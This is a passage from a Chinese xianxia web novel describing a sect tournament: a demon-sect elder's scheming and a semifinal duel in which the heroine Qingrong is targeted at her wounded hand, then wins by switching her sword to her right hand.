其他四派近些年发展本就一般,半月谷好不容易出了纪苍华,自己把自己毁了,而扶摇宗的两个亲传弟子,季焱和季邈,前者四年前就被废了,后者……听闻是做错了事,惹怒了扶摇宗宗主,这次大比也没让来。
可谓是命途多舛,也不怪临霜教一骑绝尘。
陆怀夕闻言,哈了一声:“他还敢用阴招?昨日护教震怒的模样你
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又不是没瞧见,李观现在还在狱里半死不活的躺着呢,谁还敢触这个霉头?”
青容默默举起手:“呃,那天我晕的比较早,什么都没看到,我师父震怒?有多震怒?”
“嗯……”欧阳晔回忆了一下,许多形容词似乎都无法描述当时的情景,他憋了半天,终于憋出了最精准的三个字,“有杀气。”
他本能望向擂台,昨日场景恍惚间重现眼前,他竟不由自主打了个寒碜。
慕砚恒执弓的身姿在阳光下凝成一道墨色剪影,弓弦绷紧的吱呀声盖过全场死寂,那双眸中冷意刺骨,倒映着李观惨白的脸。
恒山山主想求情,刚迈半步就被一股气场压的动弹不得,还是师语楼及时上台劝慰,慕砚恒这才收手,勉强留了李观一命。
“四方阁若再有歪心思,护教下回的箭可就不知会不会收了。”
欧阳晔言罢,下意识摸了摸自己的脖颈,仿佛那支寒光凛冽的箭正抵在上面。
箭矢钉入石板的痕迹尚在,以其为中心,方圆三尺内都覆着尚未消散的薄霜,在晨曦下泛着幽幽光泽。
“看见那些薄霜了吗?”陆怀夕小声道,“昨日护教那一箭可吓人了,李观被拖走时,半边身子都僵了。”
没有人会怀疑,若再有下次,那支箭必将直取咽喉。
紧接着便是八强最后一组的对决,也是临霜教内战——江溪闻对欧阳晔。
总能碰到上届魁首,欧阳晔这倒霉蛋子瞧着已经看开了,连抱怨都懒得抱怨,直接上台好一番缠斗。
青容正磕着瓜子围观,忆起其他四派仅剩个独苗苗的事,她突然想到一个人,这次大比她居然还没见过他。
“半月谷那亲传弟子呢?”
陆怀夕正在剥橘子,闻言一愣:“程嘉不是来了吗?”随即又反应过来,顺手擦了擦手上的橘子汁,“哦,你说纪苍华吧,这届他没参加。”
“他不是号称半月谷目前最有天赋的弟子,怎么没让参加仙门大比?”
“不是没让。”确认程嘉没注意到这边,陆怀夕将声音压低了些,“传言是他自己不想参加,理由比较奇特。”
“有多奇特?”
“他想证明给他师父看,没了他的半月谷,连八强都进不去。”
“……”
确实没进去,程嘉好巧不巧倒在十六强,其他半月谷弟子更是在第二轮就基本被筛了个干净,和其他三派大差不差。
这小子居然还会欲扬先抑,如此隐忍蛰伏,必成大事,虽然大概率成的是魔宗的大事。
她得找机会取取经。
正说着,台上传来一声剑鸣,欧阳晔最终败下阵来,他无奈一笑:“首席师兄实在厉害,师弟甘拜下风,来年再战。”
反正以他的运气,四年后还得打魁首,而这届魁首大概率还是江溪闻。
江溪闻也是笑着回应,两人一同下场,很是和谐。
“到你了。”陆怀夕拍拍青容的肩,“十七岁杀入决赛,和当年的首席师兄一样,也是能载入仙门史册的。”
青容唇角微扬,恍然间,她的眼底闪过一丝难以捉摸的光。
看似清透,深处却藏着灼人的暗火。
钟声悠扬,在群山间荡开,震得人心头发烫。
“半决赛,临霜教青容,战,四方阁卢明轩。”
49. 右手执剑
“怎么,当真全军覆没?”
慵懒的嗓音在幽暗的魔宗大殿内回荡,纪苍华半倚在榻上,被一袭暗红长袍衬得格外妖艳。
他指尖把玩着一枚黑色棋子,俊美的面容在烛火映照下明灭不定。
跪伏在地的探子满头是汗:“是啊长老,听闻这次半月谷联合其他三派使了些手段,但还是没能进入八强。”
棋子落在石盘上,纪苍华散了骨头似的,唇角勾起一抹玩味的笑:“啊,竟如此惨淡,我那好师父现在怕是肠子都悔青了。”
烛火摇曳,将他的红衣染得更艳三分。
“临霜教独占鳌头这么多年,其他门派早该坐不住了,等着瞧吧,用不着我们动手,这些名门正派自己就会……相互咬得鲜血淋漓。”
探子连连应声:“是是,宗主那边也会趁机搅乱各派关系,我们……”
“谁是宗主?”纪苍华蓦地冷笑,“慕砚恒?”
他倏然拂袖,棋盘上黑子尽数化作粉齑。
“他不过是运气好,二十年前他趁乱偷取半颗魔心,占了个天大的便宜,若没魔心做辅修炼,你以为他能这么快立足仙门?”指尖碾过粉齑,声音轻得危险,“十四岁的大比魁首啊,前无古人后无来者,真以为只是天资卓绝?”
“不过是个……道貌岸然的窃贼。”
“是是。”探子点头如鸡啄米,“不过临霜教此次大比又出了个天才,准确来说,似乎上一届就已崭露头角。”
“哦?叫什么?”
“青容。”
一时静默片刻。
纪苍华神色戏谑:“慕砚恒的徒弟啊,我见过,她于慕砚恒……可是有满门血海深仇的,我之前就很好奇,慕砚恒怎的破例收了她做徒弟,还亲手将仇人之女养在身边,上届大比我刻意接近过她,可惜没发觉什么异样。”
探子屏息垂首,不敢接话。
“你说……”纪苍华忽然俯身,阴影笼罩住跪伏在地的探子,“我们慕护教,哦不,慕宗主这般苦心孤诣,究竟在谋划什么?总不能像我这般……”
殿中忽起一阵寒风,檐角铜铃发出刺耳的颤鸣。
他顿了顿,低笑出声:“像我这般,对着朝夕相处之人……满心卑劣吧。”
…
四方阁善用长武器,卢明轩的武器并没有独具一格,是常见的长枪。
青容之前也碰上过不少四方阁的对手,长枪固然有距离优势,然而贴身后的回转便略显笨拙,和恒山短刺是两个极端,与半月谷倒是有几分相似。
“请。”
卢明轩没有让招,上来便是对攻。
整个仙门如今再没人敢看轻青容,那些年轻者被让三招的红利青容已经很久没吃到了,她习以为常,见招拆招,开始遵循她的习惯逐渐寻找时机。
青容的打法很是磨人,她惯于先将自己主动放在弱势方,丝毫不急切,不疾不徐的周旋,在对手看似凶猛的攻势中,冷静的编织着属于自己的节奏。哪怕对方来势汹汹,她依旧是一副运筹帷幄的从容模样。
这样反而会给对方巨大的压力。
卢明轩并不呆板,能闯入四强的没有弱者,他的枪法大开大合,力量浑厚,每一击都带着破空之势,将四方阁长武器的距离优势发挥得淋漓尽致。
长枪横扫,带起猎猎风声,青容侧身避让,剑锋擦着枪杆划过,溅起一串火星。
少女步伐轻盈,始终与长枪保持着微妙距离,既不被枪势所伤,又不彻底脱离战圈。
她耐心的闪避格挡,与此同时一点点压缩两人之间的距离。
就在这时,卢明轩眼中厉色一闪,他觑准青容因左臂动作稍显滞涩的一个微小破绽,枪势陡然一变,不再追求刁钻角度,而是凝聚全身气力,使出一记势大力沉的横扫。
枪杆裹挟着劲风,不偏不倚,狠狠砸向青容那缠绕着绷带的左手。
“嘶——”
枪剑交击的锐响震得人耳膜生痛,青容虎口一麻,长剑险些脱手而出。
掌心传来撕裂般的剧痛,她伤口很深,尚未恢复便参加大比,此时硬接这一击,本就未愈的伤口再次裂开,染红了绷带。
远端的慕砚恒略一皱眉。
卢明轩眸中一喜,心知计谋得逞,紧接着,长枪如狂风暴雨,专攻青容左侧。
青容终于察觉到异样:“你故意的?”
卢明轩得意一笑:“规则可没写,不允许攻击对手的伤处。”
说话间,那裹挟着巨力的枪杆精准地撞击在她的剑柄上,剧痛瞬间传遍全身,伤口处的绷带霎时完全崩裂,鲜红的血液迅速涌出浸染了衣袖。
手腕麻痹,几乎握不住剑。
这不算什么要命的攻势,放在别的对局里只是再正常不过的一次对招,然而此刻对青容来说,就有些难以应对了。
五指轻颤着收拢,黏腻的触感混着铁锈味在掌心蔓延。青容不是什么钢筋铁骨的勇士,她一直是有点怕疼的,只是不喜欢表现出来,可身体的本能反应并非意志可控。
卢明轩见状,非但没有收手,反而狞笑一声,攻势愈发迅猛。
“看你能撑到几时!”
长枪如跗骨之蛆,招招不离青容的左路空当,显然是想彻底废掉她的左手,将她逼入绝境。
所有人都看穿了卢明轩的想法,临霜教弟子席传来一阵骚动,显然是对这样的手段不满,偏偏又无从改变。
规则之内,只能谴责,无法制止。
又是一次枪剑相撞,青容额间沁出汗珠,她气极反笑:“为了赢,你们其他几派还真是不择手段。”
简直是空前的团结,比面对魔宗还要一致对外。
“那又如何,赢便是赢!”
卢明轩猛然发力,一记刁钻狠辣的枪尖直刺左肩,青容颤着手格挡,枪身却突然一转,直接拍在她的胸口上。
这一下势大力沉,青容如断线纸鸢直接飞了出去,脊背撞上擂台石柱,一声闷响,她只觉喉间一片腥甜,终于还是没忍住淬出口血。
观众席传来压抑的惊呼,临霜弟子死死克制住自己的怒火——擂台结界尚未消散。
比赛还没结束。
尘烟中,少女单膝跪地,剑尖插进石缝支撑摇晃的身躯,然而还没完,卢明轩根本不给她喘息的机会,再次提枪冲刺,一副势必要将她打个半死不活的架势。
疼痛席卷,那瘦削的肩背本能地瑟缩。
慕砚恒双手不知何时紧握成拳,他口中低声喃喃:“不许退。”
同时他也明白,在劣势中伤到这个程度,已很难再有反转。
一个十几岁的孩子,从未经历过生死之战,面对此等情形,本能的后退实在再正常不过,他能理解,可他替她不甘。
只是话音未落,他看到那染血的手指猛然攥紧剑柄。
下一刻,青容的眼神重新恢复清醒,她死死盯着卢明轩的身影,撑着剑站了起来。
骨骼仿佛随时会散架,
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她右手颤抖着抠进擂台石缝,借力将摇摇欲坠的身体一点点撑起。
墨发挣脱了半散的发带,狂乱的扑打在染血的颊边,甚是凌乱狼狈,唯有那双眼睛极亮,如同寒潭里捞出的星辰。
慕砚恒喉结微动,紧抿的唇线泄出一丝微乎其微的气音。
那双向来沉静冷漠的眼眸,此刻倒映着擂台上那个执拗挺立的身影,经年的不动声色之中,终于掠过一丝裂痕般的动容。
“铮”的一声,青容挡开了这一击,她抹掉唇边溢出的血,眼神骤然凌厉。
众目睽睽之下,她左手手腕轻巧地一旋一送,鎏虹剑稳稳落入她右手掌心。
“爱钻空子,自讨苦吃。”她冷笑。
青容重新执剑而立,整个擂台的气场骤然一变。
剑身在她起手的瞬间,仿佛发出一声压抑已久的嗡鸣,整柄剑的气势陡然暴涨,一股更为磅礴的气息毫无保留的从青容身上散发出来。
她之前的谨慎防御,完全转变成了一个充满进攻性的剑势。
“行了,我快些结束,就不给你留面子了。”
略带轻蔑的话音刚落,剑尖已点中枪杆薄弱处,卢明轩只觉虎口一麻,长枪险些脱手,他急退数步,青容立即追击。
她的速度比之前快了何止一倍,剑光如江潮叠涌,一浪高过一浪,卢明轩拼命舞枪格挡,却根本接不住这暴雨淋漓般的剑影。
“结束了。”
她纵身跃起,衣袂翻飞,鎏虹剑在空中划出数道交错的光痕,宛若银河倾泻。
一声巨响。
长枪应声而碎。
卢明轩踉跄后退,直到后背抵上结界边缘,鎏虹剑的锋芒停在他喉前三寸。
一片寂静,连本该有的欢呼都被迫停滞住。
时间仿佛在这一瞬凝固了,所有人都被眼前这电光火石间的惊天逆转彻底震慑。
前一刻,青容还左手染血,在卢明轩凶狠的攻势下摇摇欲坠,下一刻,她竟以仅仅四剑,完全碾碎了四强之一的卢明轩。
那切换右手后爆发出的恐怖剑术如摧枯拉朽一般,已经到了让人骇然的程度。
“太快了……”
这是大部分人第一时间冒出的念头。
“刚刚……你看清了吗?”
“四招,只有四招,四招就让卢师兄完全落败,连一丁点还手的余地都没有。”
“她……她右手用剑……竟强横至此?”
“那她之前左手持剑是装的?这才应该是她真正的水平?”
“这剑术,临霜教追溯百年,都没几个人比她强吧?感觉护教都……不太一定。”
高台之上,各派长老掌门亦是骤然起身,脸上写满了难以置信的惊愕。他们看得更清楚,青容切换右手后展现出的剑道修为,与之前判若云泥。
从前只能算是强势,而刚刚,是碾压。
这种年纪,是如何掌握此等精妙的剑术的?若临霜教弟子确有这般实力……也难怪他们费尽心思,拆解招式,也没得到什么大的收获。
青容持剑而立,左臂的伤口仍在流血,殷红的血珠顺着指尖滴落在地面,溅开小小的血花。
她微微喘息,满身血迹,仿佛下一刻就会破碎,可依旧腰背挺直。阳光落在她冰冷的剑锋上,与她周身冷冽的气息交融,勾勒出一种惊心动魄的美。
“就不说承让了。”她指尖轻弹剑锋,震落一滴将凝未凝的血珠。
“你不配听。”